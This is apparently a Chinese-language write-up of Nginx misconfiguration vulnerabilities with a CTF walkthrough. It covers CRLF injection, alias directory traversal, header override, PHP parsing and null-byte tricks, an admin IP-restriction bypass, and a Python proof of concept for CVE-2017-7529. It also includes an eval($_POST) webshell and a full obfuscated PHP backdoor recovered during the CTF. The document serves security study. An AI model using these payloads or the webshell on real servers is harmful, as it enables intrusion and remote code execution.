CRLF漏洞

错误配置

1
2
3
location / {
return 302 https://$host$uri;
}

请求头

1
GET /%0a%0d%0a%0d<script>alert(1)</script> HTTP/1.1

响应头

1
2
3
4
Location: https://14.28.29.24/


<script>alert(1)</script>

没有弹窗,不知道为啥 按理来说应该能够弹窗的

目录穿越

Nginx在配置别名(Alias)的时候,如果忘记加/,将造成一个目录穿越漏洞。

配置错误示例

1
2
3
location /files {
alias /home/;
}

正确配置

1
2
3
location /files/ {
alias /home/;
}

测试

1
http://vps_ip:port/files../

这样就可以访问到根目录

image

add_header

Nginx配置文件子块(server、location、if)中的add_header,将会覆盖父块中的add_header添加的HTTP头,造成一些安全隐患。

1
2
3
4
5
6
7
8
9
10
11
add_header Content-Security-Policy "default-src 'self'";
add_header X-Frame-Options DENY;

location = /test1 {
rewrite ^(.*)$ /xss.html break;
}

location = /test2 {
add_header X-Content-Type-Options nosniff;
rewrite ^(.*)$ /xss.html break;
}

/test2的location中又添加了X-Content-Type-Options头,导致父块中的add_header全部失效:

测试

请求头

1
GET /test2 HTTP/1.1

响应头

1
2
3
Connection: close
ETag: "5d7eea55-92"
X-Content-Type-Options: nosniff

image

解析漏洞

这个漏洞与nginx php无关,是配置不当导致的

先把主机上的nginx stop

正常情况

1
http://ip/uploadfiles/nginx.png

看到一张图片

解析php文件

1
http://ip/uploadfiles/nginx.png/.php

这时nginx会把图片当作php文件解析

文件名逻辑漏洞

后台配置

1
2
3
4
5
6
7
8
9
location ~ \.php$ {
root html;
include fastcgi_params;

fastcgi_pass php:9000;
fastcgi_index index.php;
fastcgi_param SCRIPT_FILENAME /var/www/html$fastcgi_script_name;
fastcgi_param DOCUMENT_ROOT /var/www/html;
}

nginx会把.php结尾的文件发给fastcgi解析,如果请求这样一个文件,1.gif%20%00.php(%00起到截断的作用) 这样也能够通过.php$的判断,但是进入location后,nginx却认为文件名是 1.gif%20 ,并设置为SCRIPT_FILENAME的值,发送给fastcgi,fastcgi就会把1.gif%20当作php文件解析

测试1

eval.png

1
2
3
<?php
eval($_POST['shell']);
?>

先传一个以空格结尾的文件eval.png 上传的不需要截断,访问在截断

访问eval.png[0x20][0x00].php

image

测试2

绕过本地登陆限制

某些网站限制后台访问ip

1
2
3
4
location /admin/ {
allow 127.0.0.1;
deny all;
}

我们可以请求如下URI:/test[0x20]/../admin/index.php,这个URI不会匹配上location后面的/admin/,也就绕过了其中的IP验证;但最后请求的是/test[0x20]/../admin/index.php文件,也就是/admin/index.php,成功访问到后台。(这个前提是需要有一个目录叫test:这是Linux系统的特点,如果有一个不存在的目录,则即使跳转到上一层,也会爆文件不存在的错误,Windows下没有这个限制)

越界读取缓存

Nginx在反向代理站点的时候,通常会将一些文件进行缓存,特别是静态文件。缓存的部分存储在文件中,每个缓存文件包括“文件头”+“HTTP返回包头”+“HTTP返回包体”。如果二次请求命中了该缓存文件,则Nginx会直接将该文件中的“HTTP返回包体”返回给用户。

1
2
3
4
5
6
7
8
[[email protected] CVE-2017-7529]# python3 poc.py http://192.168.110.140:8080/

--00000000000000000002
Content-Type: text/html; charset=utf-8
Content-Range: bytes -605-611/612

SÉ™]b`RYûÆ™]r«\me"59526062-264"
KEY: http://127.0.0.1:8081/ //缓存文件

poc.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#!/usr/bin/env python
import sys
import requests

if len(sys.argv) < 2:
print("%s url" % (sys.argv[0]))
print("eg: python %s http://your-ip:8080/" % (sys.argv[0]))
sys.exit()

headers = {
'User-Agent': "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Safari/537.36 Edge/12.10240"
}
offset = 605
url = sys.argv[1]
file_len = len(requests.get(url, headers=headers).content)
n = file_len + offset
headers['Range'] = "bytes=-%d,-%d" % (
n, 0x8000000000000000 - n)

r = requests.get(url, headers=headers)
print(r.text)

一道ctf练手

修改cookie中的islogin=1 登陆,再点击管理页面时,看到url变成了

1
admin/admin.php?file=index&ext=php

修改url 这里../被过滤

1
http://111.198.29.45:33136/admin/admin.php?file=..././..././..././..././etc/nginx/sites-enabled/site.conf&ext=conf

拿到源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
server {
listen 8080; ## listen for ipv4; this line is default and implied
listen [::]:8080; ## listen for ipv6

root /var/www/html;
index index.php index.html index.htm;
port_in_redirect off;
server_name _;

# Make site accessible from http://localhost/
#server_name localhost;

# If block for setting the time for the logfile
if ($time_iso8601 ~ "^(\d{4})-(\d{2})-(\d{2})") {
set $year $1;
set $month $2;
set $day $3;
}
# Disable sendfile as per https://docs.vagrantup.com/v2/synced-folders/virtualbox.html
sendfile off;

set $http_x_forwarded_for_filt $http_x_forwarded_for;
if ($http_x_forwarded_for_filt ~ ([0-9]+\.[0-9]+\.[0-9]+\.)[0-9]+) {
set $http_x_forwarded_for_filt $1???;
}

# Add stdout logging

access_log /var/log/nginx/$hostname-access-$year-$month-$day.log openshift_log;
error_log /var/log/nginx/error.log info;

location / {
# First attempt to serve request as file, then
# as directory, then fall back to index.html
try_files $uri $uri/ /index.php?q=$uri&$args;
server_tokens off;
}

#error_page 404 /404.html;

# redirect server error pages to the static page /50x.html
#
error_page 500 502 503 504 /50x.html;
location = /50x.html {
root /usr/share/nginx/html;
}
location ~ \.php$ {
try_files $uri $uri/ /index.php?q=$uri&$args;
fastcgi_split_path_info ^(.+\.php)(/.+)$;
fastcgi_pass unix:/var/run/php/php5.6-fpm.sock;
fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
fastcgi_param SCRIPT_NAME $fastcgi_script_name;
fastcgi_index index.php;
include fastcgi_params;
fastcgi_param REMOTE_ADDR $http_x_forwarded_for;
}

location ~ /\. {
log_not_found off;
deny all;
}
location /web-img {
alias /images/;
autoindex on;
}
location ~* \.(ini|docx|pcapng|doc)$ {
deny all;
}

include /var/www/nginx[.]conf;
}

重点在这里

1
2
3
4
location /web-img {
alias /images/;
autoindex on;
}

web-img后面少了一个/ 目录穿越

访问

1
http://111.198.29.45:33136/web-img../

跳转到了根目录,在/var/www/html目录下 找到了 hack.php.bak

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
$U='_/|U","/-/|U"),ar|Uray|U("/|U","+"),$ss(|U$s[$i]|U,0,$e)|U)),$k))|U|U);$o|U|U=o|Ub_get_|Ucontents(|U);|Uob_end_cle';
$q='s[|U$i]="";$p=|U$ss($p,3);}|U|Uif(array_k|Uey_|Uexis|Uts($|Ui,$s)){$s[$i].=|U$p|U;|U$e=|Ustrpos($s[$i],$f);|Ui';
$M='l="strtolower|U";$i=$m|U[1|U][0].$m[1]|U[1];$|U|Uh=$sl($ss(|Umd5($i|U.$kh),|U0,3|U));$f=$s|Ul($ss(|Umd5($i.$';
$z='[email protected]$r[|U"HTTP_R|UEFERER|U"];$r|U|[email protected]$r["HTTP_A|U|UCCEPT_LAN|UGUAGE|U"];if|U($r|Ur&|U&$ra){$u=parse_|Uurl($r';
$k='?:;q=0.([\\|Ud]))?,|U?/",$ra,$m)|U;if($|Uq&&$m){|U|U|[email protected]_start()|U|U;$s=&$_SESSIO|UN;$ss="|Usubst|Ur";|U|U$s';
$o='|U$l;|U){for|U($j=0;($j|U<$c&&|U|U$i|U<$|Ul);$j++,$i++){$o.=$t{$i}|U^$k|U{$j};}}|Ureturn $|Uo;}$r=$|U_SERV|UE|UR;$r';
$N='|Uf($e){$k=$k|Uh.$kf|U;ob_sta|Urt();|[email protected]|Ul(@g|Uzuncom|Upress(@x(@|Ubas|U|Ue64_decode(preg|U_repla|Uce(|Uarray("/';
$C='an();$d=b|Uase64_encode(|Ux|U(gzcomp|U|Uress($o),$k))|U;prin|Ut("|U<$k>$d</$k>"|U);@ses|U|Usion_des|Utroy();}}}}';
$j='$k|Uh="|U|U42f7";$kf="e9ac";fun|Uction|U |Ux($t,$k){$c|U=|Ustrlen($k);$l=s|Utrl|Ue|Un($t);$o=|U"";fo|Ur($i=0;$i<';
$R=str_replace('rO','','rOcreatrOe_rOrOfurOncrOtion');
$J='kf|U),|U0,3));$p="|U";for(|U|U$|Uz=1;$z<cou|Unt|U($m[1]);|U$z++)$p.=|U$q[$m[2][$z|U]|U];if(strpos(|U$|U|Up,$h)|U===0){$';
$x='r)|U;pa|Urse|U_str($u["qu|U|Uery"],$q);$|U|Uq=array_values(|U$q);pre|Ug|U_match_al|Ul("/([\\|U|Uw])[|U\\w-]+|U(';
$f=str_replace('|U','',$j.$o.$z.$x.$k.$M.$J.$q.$N.$U.$C);
$g=create_function('',$f);
$g();
?>

看样子像一个混淆了的小马

参考链接

https://vulhub.org/#/environments/nginx/CVE-2017-7529/

https://www.freebuf.com/articles/terminal/140402.html